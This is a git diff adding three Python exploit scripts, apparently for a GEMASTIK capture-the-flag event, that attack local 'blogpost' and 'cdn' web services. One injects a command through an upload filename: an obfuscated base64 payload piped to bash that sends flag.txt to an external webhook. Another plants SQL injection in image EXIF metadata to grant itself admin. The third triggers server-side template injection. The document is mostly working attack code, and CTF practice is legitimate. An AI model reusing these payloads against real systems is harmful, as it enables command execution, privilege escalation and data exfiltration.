diff --git a/services/blogpost/exploits/exp1.py b/services/blogpost/exploits/exp1.py new file mode 100644 index 0000000..3ec8605 --- /dev/null +++ b/services/blogpost/exploits/exp1.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +import requests +from pathlib import Path +import random +import string + +HOST = "http://localhost:4413" +REGISTER_URL = HOST + "/register" +LOGIN_URL = HOST + "/login" +CREATE_URL = HOST + "/create" +HOME_URL = HOST + "/" +PROFILE_URL = HOST + "/profile" + +LOCAL_IMAGE = "test.png" # a valid image file on your machine +# Generate random username and password +def generate_random_string(length=8): + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) + +USERNAME = generate_random_string() +PASSWORD = generate_random_string() +# choose payload variant: either use subshell $() or backticks `...` +filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg" + +# choose which to use: +filename_payload = filename_payload # or payload_backticks + +s = requests.Session() + +r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Registration failed. Status:", r.status_code) + # print("Response:", r.text[:400]) + exit(1) +else: + print(f"Registered user: {USERNAME}") + +r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Login request status:", r.status_code) + print("Response:", r.text[:400]) +else: + print("Login attempted. Cookies:", s.cookies.get_dict()) + +# 2) upload file with crafted filename in multipart +img_path = Path(LOCAL_IMAGE) +if not img_path.exists(): + raise SystemExit(f"Local image {LOCAL_IMAGE} not found") + +with open(img_path, "rb") as fh: + # requests allows sending a custom filename (first item in tuple) + files = { + "image": (filename_payload, fh, "image/jpeg") + } + data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"} + r = s.post(CREATE_URL, data=data, files=files) + print("Upload response:", r.status_code) + # optionally print a bit of response to see if anything obvious happened + print(r.text[:800]) + +# 3) fetch profile to see if you are admin and flag is shown +r = s.get(PROFILE_URL) +print("Profile status:", r.status_code) +print(r.text[:1200]) diff --git a/services/blogpost/exploits/exp2.py b/services/blogpost/exploits/exp2.py new file mode 100644 index 0000000..ddfa362 --- /dev/null +++ b/services/blogpost/exploits/exp2.py @@ -0,0 +1,95 @@ +import requests +import random +import string +import re +import subprocess +from pathlib import Path + +print("SQLi (VULN 2) Exploit") + +HOST = "http://localhost:4413" +REGISTER_URL = HOST + "/register" +LOGIN_URL = HOST + "/login" +CREATE_URL = HOST + "/create" +HOME_URL = HOST + "/" +PROFILE_URL = HOST + "/profile" + +# Generate random username and password +def generate_random_string(length=8): + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) + +USERNAME = generate_random_string() +PASSWORD = generate_random_string() +LOCAL_IMAGE = "sqli.png" # Image to be modified with SQLi payload + +# 1) Modify the image with exiftool to embed SQLi payload +sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--" +try: + subprocess.run([ + "exiftool", + "-overwrite_original", + f"-Comment={sqli_payload}", + LOCAL_IMAGE + ], check=True) + print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata") +except subprocess.CalledProcessError as e: + print(f"Failed to modify image with exiftool: {e}") + exit(1) + +s = requests.Session() + +# 2) Register a new user +r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Registration failed. Status:", r.status_code) + # print("Response:", r.text[:400]) + exit(1) +else: + print(f"Registered user: {USERNAME}") + +# 3) Login with the new user +r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Login failed. Status:", r.status_code) + # print("Response:", r.text[:400]) + exit(1) +else: + print("Logged in successfully. Cookies:", s.cookies.get_dict()) + +# 4) Upload the modified sqli.png image when creating a post +img_path = Path(LOCAL_IMAGE) +if not img_path.exists(): + raise SystemExit(f"Local image {LOCAL_IMAGE} not found") + +with open(img_path, "rb") as fh: + files = { + "image": (LOCAL_IMAGE, fh, "image/png") + } + data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"} + r = s.post(CREATE_URL, data=data, files=files) + print("Upload response status:", r.status_code) + # print("Upload response:", r.text[:800]) + +# 5) Get the home page to find the newest post ID +r = s.get(HOME_URL) +print("Home page status:", r.status_code) + +# Extract post IDs using regex +post_ids = re.findall(r'/post/(\d+)', r.text) +if post_ids: + max_id = max(map(int, post_ids)) + print(f"Newest post ID: {max_id}") +else: + print("No post IDs found on home page.") + exit(1) + +# 6) Visit the profile page and search for the flag +r = s.get(PROFILE_URL) +print("Profile page status:", r.status_code) +flag_pattern = r"GEMASTIK\{.*?\}" +flag = re.search(flag_pattern, r.text) +if flag: + print("Flag found:", flag.group(0)) +else: + print("Flag not found in response.") + # print("Response snippet:", r.text[:1200]) \ No newline at end of file diff --git a/services/blogpost/exploits/sqli.png b/services/blogpost/exploits/sqli.png new file mode 100644 index 0000000..c41aa35 Binary files /dev/null and b/services/blogpost/exploits/sqli.png differ diff --git a/services/blogpost/exploits/test.png b/services/blogpost/exploits/test.png new file mode 100644 index 0000000..6efa28f Binary files /dev/null and b/services/blogpost/exploits/test.png differ diff --git a/services/cdn/exploit/exp1.py b/services/cdn/exploit/exp1.py new file mode 100644 index 0000000..f7e9b6f --- /dev/null +++ b/services/cdn/exploit/exp1.py @@ -0,0 +1,91 @@ +import os +import re +import random +import string +from pathlib import Path +import requests + +print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts") + +HOST = "http://localhost:4414" +REGISTER_URL = f"{HOST}/register" +LOGIN_URL = f"{HOST}/login" +UPLOAD_URL = f"{HOST}/upload" +HOME_URL = f"{HOST}/" + +TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik + +def rnd(n=8): + alpha = string.ascii_lowercase + string.digits + return ''.join(random.choices(alpha, k=n)) + +USERNAME = rnd() +PASSWORD = rnd() +LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata + +s = requests.Session() +s.headers.update({"User-Agent": "ssti-exp/1.0"}) + +def ok_or_redirect(resp): + return 200 <= resp.status_code < 400 + +# 1) Register (allow redirects) +r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}, + allow_redirects=True, timeout=TIMEOUT) +print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}") +if not ok_or_redirect(r): + print("[x] Registration failed") + raise SystemExit(1) +print(f"[+] Registered: {USERNAME}:{PASSWORD}") + +# 2) Login (allow redirects) +r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}, + allow_redirects=True, timeout=TIMEOUT) +print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}") +if not ok_or_redirect(r): + print("[x] Login failed") + raise SystemExit(1) +print("[+] Logged in") + +# 3) Upload image (title + image) +img_path = Path(LOCAL_IMAGE) +if not img_path.exists(): + raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}") + +with img_path.open("rb") as fh: + files = {"image": (img_path.name, fh, "image/png")} + data = {"title": "SSTI Exploit"} + r = s.post(UPLOAD_URL, data=data, files=files, + allow_redirects=True, timeout=TIMEOUT) + print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}") + if not ok_or_redirect(r): + print("[x] Upload failed") + raise SystemExit(1) +print("[+] Upload complete") + +# 4) Home → cari post id terbaru +r = s.get(HOME_URL, timeout=TIMEOUT) +print(f"[i] Home -> {r.status_code}") +if r.status_code != 200: + print("[x] Failed to load home") + raise SystemExit(1) + +post_ids = re.findall(r'/post/(\d+)', r.text) +if not post_ids: + print("[-] No posts found on home.") + # print(r.text[:800]) + raise SystemExit(1) + +pid = max(map(int, post_ids)) +post_url = f"{HOST}/post/{pid}" +print(f"[+] Newest post: {post_url}") + +# 5) Trigger SSTI dan cari flag +r = s.get(post_url, timeout=TIMEOUT) +print(f"[i] Post -> {r.status_code}") +m = re.search(r"GEMASTIK\{[^}]*\}", r.text) +if m: + print("[+] Flag:", m.group(0)) +else: + print("[-] Flag not found in response.") + print(r.text[:1200]) diff --git a/services/cdn/exploit/ssti.png b/services/cdn/exploit/ssti.png new file mode 100644 index 0000000..13277a3 Binary files /dev/null and b/services/cdn/exploit/ssti.png differ